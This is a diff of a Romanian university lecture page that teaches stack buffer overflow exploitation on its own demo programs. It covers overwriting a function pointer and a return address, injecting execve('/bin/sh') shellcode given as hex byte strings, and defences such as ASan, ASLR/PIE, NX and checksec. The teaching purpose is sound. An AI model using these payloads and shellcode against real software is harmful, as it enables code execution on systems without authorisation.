- | $1 = (void *) 0xffffd288 | + | |
- | (gdb) p $esp | + | |
- | $2 = (void *) 0xffffd250 | + | |
- | (gdb) p &func_ptr | + | |
- | $3 = (void (**)(void)) 0xffffd27c | + | |
- | (gdb) p func_ptr | + | |
- | $4 = (void (*)(void)) 0x804850d <actual_func> | + | |
- | (gdb) p &buffer | + | |
- | $5 = (char (*)[16]) 0xffffd26c | + | |
- | (gdb) p buffer | + | |
- | $6 = 'A' <repeats 16 times> | + | |
- | </code> | + | |
- | În listing-ul de mai sus am afișat o parte din stivă, cuprinsă între (''ebp+4'' și ''esp''). Sunt afișate astfel: | + | O formă mai avansată de protecție oferă [[https://github.com/google/sanitizers/wiki/AddressSanitizer|AddressSanitizer]] (ASan). Acesta protejează împotriva unui spectru mai larg de erori și afișează mesaje de clarificare pentru eroarea apărută: |
- | * La adresa ''0xffffd28c'' este adresa de retur: ''0x080485af'' | + | |
- | * La adresa ''0xffffd288'', unde pointează și frame pointer-ul ''ebp'', se găsește valoarea fostului frame pointer: ''0xffffd2b8''. | + | |
- | * Următoarele două cuvinte de procesor sunt spațiu liber, de gardă. | + | |
- | * La adresa ''0xffffd27c'' se găsește pointer-ul ''func_ptr'' conținând adresa funcției ''actual_func'', adică ''0x0804850d''. | + | |
- | * Acest lucru se poate observa și prin afișarea adresei și valorii simbolului ''func_ptr'' în GDB. | + | |
- | * La adresa ''0xffffd26c'' (16 octeți mai jos) se găsește buffer-ul ''buffer'' conținând 16 valori ''A'' (adică ''0x41''). | + | |
- | * Acest lucru se poate observa și prin afișarea adresei și valorii simbolului ''buffer'' în GDB. | + | |
- | * În continuare se găsește spațiu disponibil pe stivă cu valori nerelevante pentru contextul curent. | + | |
- | Observăm din cele de mai sus cum este așezat buffer-ul pe stivă și faptul că pointer de funcție ''func_ptr'' este exact deasupra sa. Practic, dacă facem buffer overflow, am putea suprascrie acel pointer cu o altă valoare. | + | <code> |
- | ==== Suprascriere de pointer de funcție ==== | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-asan |
+ | Insert message (less than 16 bytes): Call actual function. | ||
- | Un deziderat al unui atac este suprascrierea unui pointer de funcție. Vom face acest lucru direct în cod C, pentru valoare demonstrativă. Vom inițializa în fișierul ''stack.c'' la linia 24 pointerul ''func_ptr'' la valoarea ''inject_func''. | + | ================================================================= |
+ | ==26396==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd82ff4910 at pc 0x7f87b096166e bp 0x7ffd82ff48c0 sp 0x7ffd82ff4068 | ||
+ | READ of size 44 at 0x7ffd82ff4910 thread T0 | ||
+ | #0 0x7f87b096166d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) | ||
+ | #1 0x400bc0 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:32 | ||
+ | #2 0x400c1a in main /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:39 | ||
+ | #3 0x7f87b0540b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) | ||
+ | #4 0x4009d9 in _start (/home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow-asan+0x4009d9) | ||
- | Într-un prim pas, facem acest lucru prin schimbarea liniei 24 de la:<code c> | + | Address 0x7ffd82ff4910 is located in stack of thread T0 at offset 48 in frame |
- | void (*func_ptr)(void) = actual_func; | + | #0 0x400ad4 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:23 |
- | </code> la <code c> | + | |
- | void (*func_ptr)(void) = inject_func; | + | |
- | </code> | + | |
- | În acest moment, după compilare, se va afișa mesajul din funcția ''inject_func'':<code bash> | + | This frame has 1 object(s): |
- | user@host:~$ make | + | [32, 48) 'buffer' <== Memory access at offset 48 overflows this variable |
- | gcc -Wall -Wextra -g -m32 -I../utils -c -o stack.o stack.c | + | HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext |
- | gcc -m32 stack.o -o stack | + | (longjmp and C++ exceptions *are* supported) |
- | user@host:~$ ./stack | + | SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) |
- | Insert message (less than 16 bytes): aaa | + | [...] |
- | Call injected function. | + | |
</code> | </code> | ||
- | Un mod mai "barbar" de a obține același lucru, dar mai apropiat de atacul propriu zis este să inițializăm pointer-ul ''func_ptr'' la adresa funcției ''inject_func''. Aflăm din executabil adresa funcției ''inject_func'':<code bash> | + | ASan oferă mecanisme complexe de protecție dar și un overhead care nu permite folosirea sa în producție. De aceea, ASan este folosit în medii de testare pentru a identifica defecte în programele dezvoltate, uzual combinat cu fuzzing. |
- | $ objdump --syms stack | grep inject_func | + | |
- | 08048521 g F .text 0000001e inject_func | + | |
- | </code> | + | |
- | și apoi schimbăm corespunzător linia ''24'' din fișierul ''stack.c'':<code c> | + | |
- | void (*func_ptr)(void) = (void (*)(void)) 0x08048521; | + | |
- | </code> | + | |
- | Am făcut cast la pointer de funcție ''void (*)(void)'' ca să prevenim warning-urile compilatorului. | + | |
- | Compilăm și rulăm programul cu efect rularea funcției ''inject_func'':<code> | + | === ASLR / PIE === |
- | $ make | + | |
- | gcc -Wall -Wextra -g -m32 -I../utils -c -o stack.o stack.c | + | |
- | gcc -m32 stack.o -o stack | + | |
- | $ ./stack | + | |
- | Insert message (less than 16 bytes): ana | + | |
- | Call injected function. | + | |
- | </code> | + | |
- | În acest fel am forțat apelul unei alte funcții prin inițializarea pointer-ului ''func_ptr'' la adresa (în hexazecimal) a acelei funcții. | + | Realizarea unui atac la memoria unui proces necesită cunoașterea unor adrese din spațiul de adrese al acelui proces. O măsură defensivă care face dificilă aflarea adreselor este plasarea aleatoare a zonelor de memorie în spațiul virtual de adrese al procesului, tehnică numită ASLR (//Address Space Layout Randomization//). Atunci când se plasează aleator și zonele statice (date, cod) spunem că executabilul este compilat și linkat cu suport de PIC / PIE (Position Independent Code / Position Independent Executable). În cazul acesta, adresele din analiza statică a executabilului nu corespund celor de la run time, care vor fi realizate aleator. Astfel că atacurile de mai sus nu vor funcționa, rezultând în accesul la o zonă care acum este, cel mai probabil, nevalidă: |
- | ==== Stack buffer overflow pentru suprascriere pointer de funcție ==== | + | |
- | Desigur, ne propunem un atac cât mai realist pentru suprascrierea pointer-ului de fucție ''func_ptr''. Plasarea acestuia pe stivă deasupra buffer-ului ''buffer'' așa cum am indicat mai sus face posibilă executarea unui buffer overflow. Transmitem mai mult de 16 octeți la intrarea standard a programului (buffer-ul este definit ca ocupând 16 octeți, dar ''fgets'' e apelat greșit - vulnerabilitate) și suprascriem pointer-ul. | + | <code> |
+ | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-pie | ||
+ | Segmentation fault (core dumped) | ||
+ | </code> | ||
- | Pentru ca să transformăm bug-ul în vulnerabilitate trebuie să suprascriem pointer-ul cu o adresă convenabilă, adică adresa funcției ''inject_func'', adică ''0x08048521''. | + | Secvențele de cod independente de poziție folosesc adresare relativă la poziția curentă în loc de adresare absolută. Mai jos folosim analiză statică pe executabilul cu suport PIE și pe cel fără suport PIE ca să urmărim diferența în folosirea adresei unei funcții: |
- | Pentru început refacem programul la starea sa inițială, adică refacem linia ''24'' la<code c> | + | <code> |
- | void (*func_ptr)(void) = actual_func; | + | $ objdump -d -M intel buffer-overflow-pie |
- | </code> și compilăm programul folosind ''make''. | + | [...] |
+ | 0000000000000817 <read_data>: | ||
+ | 817: 55 push rbp | ||
+ | 818: 48 89 e5 mov rbp,rsp | ||
+ | 81b: 48 83 ec 20 sub rsp,0x20 | ||
+ | 81f: 48 8d 05 c4 ff ff ff lea rax,[rip+0xffffffffffffffc4] # 7ea <actual_func> | ||
+ | [...] | ||
- | Pentru început haideți să scriem un octet mai mult decât 16 să vedem ce se întâmplă:<code bash> | + | $ objdump -d -M intel buffer-overflow |
- | $ echo -n 'AAAAAAAAAAAAAAAAB' | ./stack | + | 00000000004006c0 <read_data>: |
- | Segmentation fault | + | 4006c0: 55 push rbp |
+ | 4006c1: 48 89 e5 mov rbp,rsp | ||
+ | 4006c4: 48 83 ec 20 sub rsp,0x20 | ||
+ | 4006c8: 48 c7 45 f8 97 06 40 mov QWORD PTR [rbp-0x8],0x400697 | ||
+ | 4006cf: 0 | ||
+ | [...] | ||
</code> | </code> | ||
- | Ce s-a întâmplat este că am suprascris o parte din pointer-ul ''func_ptr'' și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa indicată de ''func_ptr'' se transmite //Segmentation fault//. | ||
- | Dorința noastră este să sărim la funcția ''inject_func''. Pentru aceasta, după cei 16 octeți indicați de buffer, vom scrie octeții aferenți adresei funcției ''inject_func'' (adică ''0x21'', ''0x85'', ''0x04'', ''0x08'' -- suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul ''func_ptr'' și vor forța saltul la funcția ''inject_func'':<code bash> | + | În listarea de mai sus vedem cum pentru cazul PIE adresa funcției ''actual_func'' este obținută raportat la registrul pointer de instrucțiune (RIP). În cazul non-PIE adresa este folosită în valoare absolută ''0x400697''. |
- | $ echo -en 'AAAAAAAAAAAAAAAA\x21\x85\x04\x08' | ./stack | + | |
- | Insert message (less than 16 bytes): Call injected function. | + | |
- | </code> | + | |
- | Observăm că am "deraiat" execuția uzuală a programului, suprascriind un pointer de funcție prin intermediul unui buffer overflow și apelând o altă funcție. Dacă nu am fi generat buffer overflow, adică dacă am fi păstrat datele de intrare sub 16 octeți, programul s-ar fi comportat normal:<code bash> | + | Putem să vedem ce mecanisme defensive sunt prezente într-un executabil cu ajutorul [[https://github.com/slimm609/checksec.sh/blob/master/checksec|scriptului ''checksec'']]: |
- | $ echo -en 'AAAAAAAAAAAAAAA' | ./stack | + | |
- | Insert message (less than 16 bytes): Call actual function. | + | |
- | Read 15 bytes from standard input. | + | <code> |
- | </code> | + | $ wget https://raw.githubusercontent.com/slimm609/checksec.sh/master/checksec |
- | ==== Stack buffer overflow pentru suprascriere adresă de retur ==== | + | [...] |
- | Foarte rar vom avea șansa să avem un pointer de funcție plasat convenabil deasupra unui buffer. De aceea unul dintre cele mai uzuale moduri în care putem să schimbăm fluxul de execuție al unui program (descris și în articolul [[http://www.phrack.org/issues.html?issue=49&id=14&mode=txt|Smashing the Stack for Fun and Profit]]) este suprascrierea adresei de retur. Dacă punem acolo o funcție convenabilă, va fi apelată o funcție nouă în loc să revină programul în locul inițial. | + | $ chmod a+x checksec |
- | Pentru a face acest lucru trebuie să știm unde anume se găsește adresa de retur raportat la buffer. De mai sus știm că buffer-ul se găsește la adresa ''0xffffd26c'' iar adresa de retur la adresa ''0xffffd28c''. Avem așadar o diferență de ''0x20 = 32 de octeți''. Dacă scriem 32 de caractere de orice fel (fie ''A'') și apoi scriem adresa unei adrese de salt dorite, vom sări la acea adresă. La fel ca mai sus, vom folosi adresa funcției ''inject_func'', adică ''0x08048521''. | + | $ ./checksec --file=buffer-overflow |
+ | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | ||
+ | Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols No 0 3 buffer-overflow | ||
- | Pentru acesta vom transmite la intrarea standard 32 de caractere ''A'' urmate de caracterele ''0x21'', ''0x85'', ''0x04'', ''0x08'' la fel ca mai sus (când am suprascris pointer-ul ''func_ptr''); vom suprascrie așadar valoarea de retur de pe stack frame-ul funcției ''read_data''. Efectul va fi apelarea funcției ''inject_func'' la ieșirea din funcția ''read_data''. | + | $ ./checksec --file=buffer-overflow-pie |
+ | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | ||
+ | Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 77 Symbols No 0 3 buffer-overflow-pie | ||
- | Întrucât vom suprascrie inclusiv pointer-ul ''func_ptr'' vrem să nu mai fie acest apelat. De aceea comentăm linia ''30'':<code c> | + | $ ./checksec --file=buffer-overflow-ssp |
- | // func_ptr(); | + | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE |
- | </code> Apoi compilăm programul modificat folosind ''make''. Vom primi warning de variabilă nefolosită pentru ''func_ptr'' dar îl ignorăm. | + | Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols Yes 0 3 buffer-overflow-ssp |
- | + | ||
- | Pentru a genera atacul, rulăm o comandă ''python'' ca sa scriem mai ușor mai multe caractere de același tip (32 de caractere ''A'', în cazul nostru) și urmărim efectul:<code bash> | + | |
- | $ python -c 'print "A"*32 + "\x21\x85\x04\x08"' | ./stack | + | |
- | Insert message (less than 16 bytes): Call injected function. | + | |
</code> | </code> | ||
- | Observăm că am alterat fluxul normal de execuție al programului printr-un stack buffer overflow care a suprascris valoarea de retur a funcției ''read_data''. Prin suprascrierea adresei de retur cu valoarea ''0x08048521'' (adresa funcției ''inject_func'') am forțat apelarea funcției ''inject_func''. | ||
- | ==== Shellcode ==== | ||
- | De multe ori dorim să injectăm cod în cadrul spațiului de adresă al unui proces, cod pe care apoi să îl executăm. Pentru a face acest lucru se creează mici bucăți de cod scrise direct în cod mașină care vor fi injectate și executate, bucăți denumite shellcode. În general, shellcode-ul are ca obiectiv obținerea unui shell, ceea ce pe Linux echivalează un apel ''<nowiki>execve("/bin/sh")</nowiki>''. | + | ==== Injectarea codului. Shellcodes ==== |
- | Pentru a urmări construcția și utilizarea unui shellcode accesăm subdirectorul ''shellcode/'' și urmărim conținutul fișierului ''shellcode.s''. Acesta este codificarea în limbaj de asamblare a unui apel de sistem ''execve''. Este echivalent apelului C ''<nowiki>execve("/bin//sh", ["/bin//sh", NULL], NULL)</nowiki>''. | + | <note important> |
- | + | Pentru acest demo trebuie să aveți instalat pe sistem asamblorul NASM. Pe un sistem Debian/Ubuntu îl puteți instala folosind comanda: | |
- | Ca să obținem shell-ul în forma sa binară, fișierul în limbaj de asamblare este compilat, este extrasă partea de cod și apoi transpusă în forma în hexazecimal folosită uzual în C, Python, Perl, Bash. Pentru aceasta folosim scriptul ''extract-shellcode'':<code bash> | + | <code> |
- | $ ./extract-shellcode | + | sudo apt install nasm |
- | Shellcode string is: '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | + | |
</code> | </code> | ||
- | Între apostroafe avem shellcode-ul. Acesta este forma binară (cod mașină) a instrucțiunilor în limbaj de asamblare din ''shellcode.s''. | + | </note> |
- | Pentru a folosi, la nivel demonstrativ, shellcode-ul, vom defini o variabilă pe care o vom inițializa la șirul de mai sus. Apoi vom forța saltul la adresa acelei variabile. Aceasta vom face în fișierul ''run-shellcode.c''. La forma actuală a fișierului vom face două modificări: | + | În exploit-urile prezentate mai sus am suprascris code pointeri și am modificat fluxul de execuție al programului apelând o funcție existentă (''inject_func''). Această metodă, de refolosire a codului existent în cadrul unui atac, poartă numele de //code reuse attacks//. Din păcate pentru atacator, în cazul unui atac de tipul //code reuse// spațiul posibil de acțiune este limitat la codul existent. Așa că este de preferat un atac de tipul //code injection// care adaugă (injectează) cod în spațiul virtual de adrese al procesului. În general acest cod rezidă într-o zonă de date (unde este citit) care primește permisiuni de execuție. |
- | - La linia ''11'' vom inițializa șirul ''shellcode'' la valoarea shellcode-ului. Modificăm linia de la<code c> | + | |
- | static const char shellcode[] = "TODO"; | + | |
- | </code> la <code c> | + | |
- | static const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; | + | |
- | </code> | + | |
- | - La linia ''20'' vom inițializa pointer-ul de funcție ''func_ptr'' la adresa shellcode-ului. Modificăm linia de la<code c> | + | |
- | void (*func_ptr)(void) = actual_func; | + | |
- | </code> la <code c> | + | |
- | void (*func_ptr)(void) = (void (*)(void)) shellcode; | + | |
- | </code> | + | |
- | Compilăm programul folosind ''make'' și apoi îl apelăm. Întrucât se apelează ''func_ptr'' se va apela shellcode, rezultând în apelul echivalent ''<nowiki>execve("/bin/sh")</nowiki>'' și deci pornirea unui nou shell:<code bash> | + | Codul injectat de atacator poartă numele de //shellcode//. Deși denumirea indică deschiderea unei sesiuni de shell, un shellcode poate realiza orice tip de acțiune. |
- | user@host:~$ make | + | |
- | gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils -c -o run-shellcode.o run-shellcode.c | + | |
- | gcc -m32 -z execstack run-shellcode.o -o run-shellcode | + | |
- | user@host:~$ ./run-shellcode | + | <note tip> |
- | Insert message (less than 32 bytes): aaa | + | O listă de shellcode-uri pentru diferite sisteme de operare și arhitecturi găsiți [[http://shell-storm.org/shellcode/|aici]]. De aici vom folosi shellcode-uri în continuare. |
+ | </note> | ||
- | $ exit | + | În subdirectorul ''shellcode/'' avem resursele pentru generarea și folosirea unui shellcode care va crea un shell. |
- | user@host:~$ | + | Shellcode-ul este în general scris în limbaj de asamblare, apoi este asamblat și, din fișierul obiect rezultat, se extrage codul mașină corespunzător ca înșiruire de octeți. Avem un shellcode descris în limbaj de asamblare în fișierul ''shellcode.asm'' și unul pentru 32 de biți descris în ''shellcode-32.asm''. Aceste fișiere conțin codificarea în limbaj de asamblare a unui apel de sistem ''execve''. Este echivalent apelului C ''<nowiki>execve("/bin//sh", ["/bin//sh", NULL], NULL)</nowiki>''. Ca să obținem codul mașină corespunzător acestor shellcode-uri, folosim fișierul ''Makefile.shellcode'': |
- | </code> | + | |
- | Putem observa invocarea apelului de sistem ''execve'' prin folosirea strace:<code bash> | + | |
- | $ strace -e execve ./run-shellcode | + | |
- | execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 | + | |
- | [ Process PID=9084 runs in 32 bit mode. ] | + | |
- | Insert message (less than 32 bytes): aaaa | + | |
- | execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 | + | |
- | [ Process PID=9084 runs in 64 bit mode. ] | + | |
- | </code> | + | |
- | Primul apel ''execve'' a însemnat încărcarea executabilului curent ''run-shellcode'', în vreme ce al doilea apel este exact apelul dat de shellcode, care creează un shell nou. | + | |
- | ==== Stack buffer overflow cu shellcode ==== | + | |
- | Dorim să supracriem adresa de retur a funcției ''read_data'' ca să refere shellcode-ul și să execute codul de acolo. Pentru aceasta trebuie să știm adresa shellcode-ului. Folosim ''objdump'':<code bash> | + | <code> |
- | $ objdump --syms run-shellcode | grep ' shellcode' | + | $ make -f Makefile.shellcode print |
- | 08048610 l O .rodata 0000001a shellcode | + | nasm -o shellcode.bin shellcode.asm |
+ | \x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05 | ||
+ | |||
+ | $ make -f Makefile.shellcode print-32 | ||
+ | nasm -o shellcode-32.bin shellcode-32.asm | ||
+ | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 | ||
</code> | </code> | ||
- | Nu putem folosi construcția anterioară în care diferența între adresa de retur era de ''32'' de octeți. Acum bufferul este mai mare, este definit ca ''buffer[32]''. Vom investiga folosind GDB. De asemenea, vom elimina de tot pointer-ul de funcție ''func_ptr'', în așa fel încât funcția ''read_data'' are forma:<code c> | + | Cele două șiruri în afișaj hexazecimal sunt cele două shellcode-uri, respectiv pe 64 de biți și 32 de biți. |
- | static size_t read_data(void) | + | |
- | { | + | |
- | char buffer[32]; | + | |
- | memset(buffer, 'A', 32); | + | Aceste două șiruri le folosim în fișierul ''run-shellcode.c'' pentru a le rula. În acest fișier, variabila ''shellcode'' este populată, depinzând de arhitectura folosită, cu cele două shellcode-uri. Ca să testăm funcționarea celor două shellcode-uri, compilăm fișierul și rulăm cele două executabile: |
- | printf("Insert message (less than 32 bytes): "); | + | |
- | fgets(buffer, 64, stdin); | + | |
- | return strlen(buffer); | + | <code> |
- | } | + | $ make |
- | </code> | + | gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils -c -o run-shellcode.o run-shellcode.c |
- | Compilăm noul program folosind ''make''. | + | gcc -no-pie run-shellcode.o -o run-shellcode |
+ | gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o run-shellcode-32.o run-shellcode.c | ||
+ | gcc -no-pie -m32 -o run-shellcode-32 run-shellcode-32.o | ||
+ | gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils -c -o inject-shellcode.o inject-shellcode.c | ||
+ | gcc -no-pie -z execstack -o inject-shellcode inject-shellcode.o | ||
+ | gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o inject-shellcode-32.o inject-shellcode.c | ||
+ | gcc -no-pie -m32 -z execstack -o inject-shellcode-32 inject-shellcode-32.o | ||
- | Pentru a afla diferența între buffer și valorea de retur, folosim GDB:<code bash> | + | $ ./run-shellcode |
- | $ gdb -q ./run-shellcode | + | $ ls |
- | Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/run-shellcode...done. | + | Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o |
- | (gdb) b main | + | Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s |
- | Breakpoint 1 at 0x8048550: file run-shellcode.c, line 33. | + | $ exit |
- | (gdb) run | + | |
- | Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/./run-shellcode | + | |
- | warning: Could not load shared library symbols for linux-gate.so.1. | + | |
- | Do you need "set solib-search-path" or "set sysroot"? | + | |
- | Breakpoint 1, main () at run-shellcode.c:33 | + | $ ./run-shellcode-32 |
- | 33 len = read_data(); | + | $ ls |
- | (gdb) si | + | Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o |
- | read_data () at run-shellcode.c:19 | + | Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s |
- | 19 { | + | $ exit |
- | (gdb) x/2wx $esp | + | |
- | 0xffffd27c: 0x08048555 0x00000001 | + | |
- | (gdb) p &buffer | + | |
- | $1 = (char (*)[32]) 0xffffd250 | + | |
</code> | </code> | ||
- | Mai sus, am realizat următorii pași: | ||
- | - Am pornit GDB pe executabilul ''run-shellcode''. | ||
- | - Am pus breakpoint pe main și am rulat programul. | ||
- | - Am avansat o instrucțiune (folosind ''si'' -- //step instruction//) pentru a apela funcția ''read_data''. | ||
- | - Am afișat conținutul vârfului stivei pentru a afla adresa valorii de retur. | ||
- | * Adresa este ''0xffffd27c'' iar valoarea de retur este ''0x08048555''. | ||
- | - Am aflat adresa buffer-ului: ''0xffffd250''. | ||
- | Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este ''0xffffd27c - 0xffffd250 = 2c'', adică 44 de octeți. | ||
- | Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției ''fgets'', 44 de caractere ''A'' (până la adresa de retur) urmată de octeții corespunzători adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului, adică ''0x10'', ''0x86'', ''0x04'', ''0x08''. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției ''read_data''. Consecința va fi că încheierea funcției ''read_data'', în locul revenirii în funcția ''main'' (funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului ''execve'' codificat în shellcode. | + | După rularea celor două executabile rezultate este creat un shell în care putem rula comenzi. Putem valida crearea cu success a shell-ului folosind ''strace'': |
- | + | <code> | |
- | Pentru a executa operațiile de mai sus, folosim ''python'' la fel ca mai devreme. Scriem ''44'' de caractere ''A'' urmate de octeții corespunzători shellcode-ului:<code bash> | + | $ strace -e execve ./run-shellcode |
- | $ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | ./run-shellcode | + | execve("./run-shellcode", ["./run-shellcode"], 0x7fffdbedd2b0 /* 37 vars */) = 0 |
- | </code> | + | execve("/bin/sh", ["/bin/sh"], NULL) = 0 |
- | Programul pare să meargă dar nu obținem un shell. Acest lucru se întâmplă întrucât se închide, din pipe, intrarea standard și se închide și shell-ul însuși. Există metode de a face bypass la acest lucru, dar nu fac subiectul acestui demo. Pentru a confirma că se execută un shell, folosim strace:<code bash> | + | $ exit |
- | $ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | strace -e execve ./run-shellcode | + | |
- | execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 | + | |
- | [ Process PID=20114 runs in 32 bit mode. ] | + | |
- | execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 | + | |
- | [ Process PID=20114 runs in 64 bit mode. ] | + | |
</code> | </code> | ||
- | Observăm de mai sus că am obținut într-adevăr execuția shellcode-ului, prin suprascrierea adresei de retur a funcției ''read_data''. În final shellcode-ul a apelat un echivalent al ''<nowiki>execve("/bin/sh")</nowiki>'' care generează un shell. | + | Ca măsură defensivă împotrivă injectării de cod, sistemele moderne oferă suport în tabela de pagini pentru a marca pagini ca fiind neexecutabile. Acest mecanism se numește NX (No Executa) XD (eXecute Disable) sau DEP (Data Execution Prevention). În mod obiștnuit, variabila ''shellcode'' din fișierul ''run-shellcode.c'' nu ar trebui să fie executabilă. Întrucât este marcată ''const'' această variabilă este plasată în zona ''.rodata''. Această zonă este însă uzual colocalizată cu zona ''.text'' și astfel are și permisiuni de execuție. Acesta nu este un risc de securitate, întrucât este improbabil ca cineva să completeze într-un program variabile read-only cu valori sensibile ce pot fi executate. |
- | ==== Stack buffer overflow cu shellcode pe stivă ==== | + | |
- | În mod evident, nu ne putem aștepta ca un shellcode să se găsească în codul sursă al programului. Shellcode-ul trebuie injectat într-o zonă în care putem scrie; cel mai simplu este chiar pe stivă, adică exact în cadrul bufferului. Apoi vom suprascrie adresa de retur a funcției ''read_data'' cu adresa de start a buffer-ului unde am scris shellcode-ul. | + | Mai realist este scenariul în care un atacator furnizează programului shellcode-ul și programul îl stochează undeva în memorie de unde, prin mijloace precum supscrierea unui code pointer, este executat shellcode-ul. În aceste scenarii DEP va împiedica rularea shellcode-ului. Pentru a dezactiva DEP pe zona de memorie unde se găsește shellcode-ul, un atacator va trebui să remapeze acea zonă ca fiind executabilă printr-un apel de tipul ''mprotect'' / ''VirtualProtect''; deși posibilă, o astfel de acțiune nu este ușor de realizat de un atacator și atacul va deveni mai complicat. |
- | Pentru ca aceasta să funcționeze, trebuie să știm adresa buffer-ului. Din păcate (pentru atacator) avem în general activat ASLR (//Address Space Layout Randomization//). Prin urmare la diverse rulări buffer-ul nu va avea aceeași adresă (nu apare la GDB). Pentru a verifica asta, la programul anterior adăugăm, în funcția ''read_data'' apelul<code c> | + | Exemplificarea furnizării unui shellcode către program se găsește în fișierul ''inject-shellcode.c''. Aici citim date de la intrarea standard în variabila ''shellcode'', care acum este o variabilă globală aflată într-o zonă read-write. Rulăm cele două executabile generate (''inject-shellcode'' și ''inject-shellcode-32'') transmițându-le la intrarea shellcode-urile de mai sus: |
- | printf("buffer address: %p\n", buffer); | + | |
- | </code> | + | |
- | Compilăm și rulăm de mai multe ori:<code bash> | + | |
- | user@host:~$ make | + | |
- | gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils -c -o run-shellcode.o run-shellcode.c | + | |
- | gcc -m32 -z execstack run-shellcode.o -o run-shellcode | + | |
- | user@host:~$ ./run-shellcode | + | <code> |
- | Insert message (less than 32 bytes): aaa | + | $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode |
- | buffer address: 0xff8db4d0 | + | |
- | Read 4 bytes from standard input. | + | $ echo -e '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | ./inject-shellcode-32 |
- | user@host:~$ ./run-shellcode | + | </code> |
- | Insert message (less than 32 bytes): aaa | + | |
- | buffer address: 0xffdf0270 | + | |
- | Read 4 bytes from standard input. | + | Motivul pentru care nu obținem un prompt nou este că acum shell-ul nou creat așteată input de la utilizator. Dar standard input-ul este acum dintr-un pipe care s-a închis atunci când procesul ''echo'' s-a încheiat. Putem, la fel, să validăm crearea cu succes a shell-ului folosind coamanda ''strace'': |
- | user@host:~$ ./run-shellcode aaa | + | <code> |
